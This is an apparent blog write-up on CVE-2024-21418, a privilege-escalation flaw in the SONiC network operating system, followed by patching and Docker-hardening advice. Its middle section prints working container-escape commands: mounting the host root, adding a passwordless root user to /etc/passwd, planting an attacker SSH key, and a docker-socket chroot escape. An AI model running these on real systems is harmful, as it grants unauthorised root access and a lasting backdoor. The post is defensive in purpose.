CVE-2024-21418 - Breaking Down the SONiC Elevation of Privilege Vulnerability

In early 2024, the security community was rattled by the disclosure of CVE-2024-21418, a critical elevation of privilege vulnerability found in SONiC (Software for Open Networking in the Cloud). This bug affects a platform many hyperscale data centers trust and showcases how even mature open-source network OSs can harbor serious risks.

This deep-dive unpacks CVE-2024-21418—what it is, how it works, and what you should do if you run SONiC in production.

What is SONiC?

Before diving into the vulnerability, let's do a quick recap. SONiC is an open-source network operating system developed by Microsoft and the community. It runs on switches and networking gear, powering environments at the scale of Azure or Alibaba Cloud.

SONiC’s model is modular: containers manage networking functions, and it's built on top of a Linux base (typically Debian). This convenience introduces complexity—and, sometimes, vulnerabilities.

Understanding CVE-2024-21418

CVE-2024-21418 is an Elevation of Privilege (EoP) vulnerability. It allows attackers with local access (shell or SSH, even as a low-privilege user) to escalate their privileges, potentially gaining root on the device.

The bug ties back to improper management of permissions and capabilities in critical SONiC services—especially around the swss (switch state service) Docker container, which talks to the host and manages networking.

Official Description

From Microsoft's security advisory:

> "A vulnerability in the Software for Open Networking in the Cloud (SONiC) allows a local authenticated user to gain elevated permissions via improper handling of container privileges, potentially leading to full system compromise."

How Does the Exploit Work?

The crux of CVE-2024-21418 lies in container privilege escalation. Containers running as root, with loose Docker parameters, can easily manipulate host filesystems or escape isolation.

Escalating Privileges

Containers like swss may be started with host volumes mounted (for config, logs, or APIs). If / (host root) or sensitive folders are mounted:

Dangerous! This is the kind of misconfiguration involved.

docker run -v /:/host-root -it swss bash

Writing to Host Filesystem

Now, the attacker inside the container can overwrite /host-root/etc/shadow (or add a new user) on the host, effectively gaining root.

`bash

echo 'hacker::::root:/root:/bin/bash' >> /host-root/etc/passwd

`bash

mkdir -p /host-root/root/.ssh
echo 'ssh-rsa AAAAB3... attacker@evil.com' >> /host-root/root/.ssh/authorized_keys

You can simulate a privilege escalation (don't do this on production!)

# (1) Attacker gets a shell as low-priv user on SONiC host

# (2) Finds out if Docker is available and swss is running
docker ps

# (3) Gets a root shell inside the swss container
docker exec -it --user root swss /bin/bash

# (4) Since swss has Docker socket mounted (misconfiguration!), abuse mount:
docker run -v /:/mnt --rm -it debian chroot /mnt bash

# (5) Now attacker has root on host!

1. Update SONiC

Microsoft and the SONiC community have released patched images and advisories.

2. Restrict Docker Socket Visibility

Never mount the Docker daemon socket (/var/run/docker.sock) inside containers.
Review and remove dangerous mountpoints in your container configuration.

3. Limit Host Bind Mounts

Only mount specific subdirectories, never / or /etc.

4. Reduce Privileged Containers

Run containers with the least privileges needed (--cap-drop ALL, avoid --privileged).

Detailed References

- CVE Portal - CVE-2024-21418
- Microsoft Security Response Center: CVE-2024-21418
- SONiC Project Bulk Security Advisory
- Docker Security Cheat Sheet

Final Thoughts

CVE-2024-21418 is a classic case of container privilege confusion, enabled by powerful features and risky config defaults. In the fast world of network OS deployment, don’t ignore container boundaries and Linux permissions—especially in multi-tenant or cloud environments.

> Patch ASAP, audit your Docker setups, and never trust containers with host roots.

Let this be your wake-up call: review your SONiC (and Linux-based switch) deployments today.

*Stay safe—patch, scan, and monitor everything, especially your network OS.*

Timeline

Published on: 03/12/2024 17:15:50 UTC
Last modified on: 03/12/2024 17:46:17 UTC